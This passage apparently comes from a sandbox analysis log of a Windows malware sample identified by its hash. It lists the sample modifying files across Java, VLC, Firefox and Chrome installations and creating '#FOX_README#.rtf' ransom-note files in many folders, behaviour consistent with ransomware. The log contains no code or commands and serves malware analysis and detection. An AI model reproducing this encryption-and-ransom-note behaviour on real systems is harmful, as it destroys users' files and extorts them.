Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.di_1.0.0.v20140328-2112.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.ds_1.4.200.v20131126-2331.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-openide-filesystems.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\deploy\messages.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\META-INF\ECLIPSE_.SF f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder.ui_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\plugins\plugins.dat f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-editor-mimelookup_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\fonts\LucidaBrightItalic.ttf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\META-INF\ECLIPSE_.RSA f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\license.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\playlist.json f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\zu\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.swt.theme.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_gloss-wave_35_f6a828_500x100.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\km\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-host-remote_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.help_3.6.0.v20130326-1254.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\crashreporter.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\uninstall\uninstall.log f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\de\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\ext\sunec.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\bin\sysinfo.bat f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\security\local_policy.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-jvmstat.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\include\win32\jawt_md.h f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\e4-dark_partstyle.css f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.console_5.5.0.165303\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\ECLIPSE_.RSA f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\security\blacklisted.certs f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\bin\sysinfo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-openide-awt.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\cmm\GRAY.pf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.help.webapp.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\include\win32\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-core-io-ui.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.intro.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\it\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-core-multiview.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-openide-loaders.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\deploy\messages_zh_TW.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\about.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.text.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\bin\javacpl.cpl f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.updatechecker.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\bn.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.jface.text.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\fonts\LucidaTypewriterBold.ttf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\ext\sunmscapi.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.extensionlocation.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-sampler_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.swt.win32.win32.x86_64.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-utilities.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-selector-ui_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jre1.8.0_66\lib\deploy\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\hy\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\chrome_200_percent.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-profiler.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\ext\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification.zh_CN_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.publisher.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-dialogs_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\org-netbeans-core-windows_visualvm.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Extensions\external_extensions.json f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\kn.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\THIRDPARTYLICENSEREADME.txt f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\gd\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\bin\javaws.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\jre\bin\server\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-application.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\lv\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\javadoc.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\feature.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-openide-windows.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\sr\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-filesystems.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\jamendo.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.mbeanbrowser_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.repository.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder.ui.ja_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\83.0.4103.106.manifest f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.browser.attach_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.net.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-editor-mimelookup-impl_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-api-progress.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-text_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ml\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.rcp.product_5.5.0.165303\feature.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\firefox.exe.sig f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\skins\skin.catalog f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.databinding.observable.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\xul.dll.sig f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\pingsender.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\intf\dummy.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-modules-autoupdate-ui.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rcp.application.zh_CN_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\bin\pack200.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\bbc_co_uk.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\MountUninstall.wmv f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\javaws.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Installer\chrmstp.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-modules-print.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-modules-keyring-fallback.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-core-startup.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\extensions\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.components.ui_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\icons\file_obj.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\ext\cldrdata.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\amd64\jvm.cfg f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\jdb.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\day-of-week-16.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.jarprocessor_1.0.300.v20131211-1531.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\WidevineCdm\_platform_specific\win_x64\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\deploy\messages_zh_CN.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\bin\dblook f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.views_3.7.0.v20140408-0703.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.apache.felix.gogo.command_0.10.0.v201209301215.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\meta\reader\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\bin\servertool.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\Video-48.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\tr\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.jetty.security_8.1.14.v20131031.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\javax.xml_1.3.4.v201005080400.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\cmm\LINEAR_RGB.pf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\tet\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-modules-applemenu.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.osgi_3.10.1.v20140909-1633.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.swt.win32.win32.x86_64_3.103.1.v20140903-1947.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\jfr\default.jfc f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ml\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\Welcome.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-attach_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\br\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\es\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\co\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\oracle.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\plugin.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.directorywatcher_1.1.0.v20131211-1531.jar 